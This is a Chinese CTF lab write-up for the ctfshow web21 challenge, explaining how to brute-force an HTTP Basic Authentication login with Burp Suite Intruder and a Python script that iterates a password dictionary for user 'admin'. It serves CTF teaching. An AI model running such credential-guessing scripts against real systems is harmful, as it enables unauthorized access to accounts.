ctfshow--web入门之爆破篇-web21基础爆破工具的使用

时间:2024-12-14 08:36:12

1.查看题目

是一道登录题,

此题主要考察基础的爆破

方法一:bp爆破

1:假设已知用户名是admin

2:打开代理和Burp Suite,随便输入密码尝试登陆同时利用Burp Suite抓包。

知识点:Authorization请求头

Authorization请求头用于验证是否有从服务器访问所需数据的权限。

3:得到Authorization: Basic YWRtaW46YWRtaW4= 可以看到他数据包是通过加密发送的,并且前面有Basic,对后面的 进行base64解码查看格为 admin:密码

4:查看Authorization请求头观察发现是base64编码 我们将请求包发送到intruder中,选择sniper模式。选择base64内容Authorization: Basic YWRtaW46YWRtaW4=,添加为playload position

5:然后payload选择Custom iterator,根据已知格式,我们设置第一组payload位账号:admin,第二组一个冒号:,第三组密码:密码字典。 接下来设置Payload Processing的base64加密,点击add,选择encode>Base64-encode,最后将PayLoad Encoding取消选择urlencode加密特俗字符串。

6:进行爆破,找到长度不同的即为正确答案。

找到flag。

方法二:自动爆破脚本

import time#用于延时
import requests#用于发送请求
import base64#用于base64编码

url = 'http://ededa0b4-a3d7-43f0-9f06-c8db1fce2434.challenge.ctf.show/index.php'#放入url

password = []#密码列表


with open("1.txt", "r") as f:  #读取密码字典/1.txt是字典密码
    while True:#循环读取密码字典
        data = f.readline() #读取一行
        if data:#判断是否为空
            password.append(data)#添加到列表
        else:#判断是否到达文件末尾
            break#结束循环
        
for p in password:#循环遍历密码列表
    strs = 'admin:'+ p[:-1]#拼接用户名和密码
    header={
        'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
    }#设置请求头
    rep =requests.get(url,headers=header)#发送请求
    time.sleep(0.2)#延时0.2秒
    if rep.status_code ==200:#判断请求是否成功

        print(rep.text)#打印响应内容
        break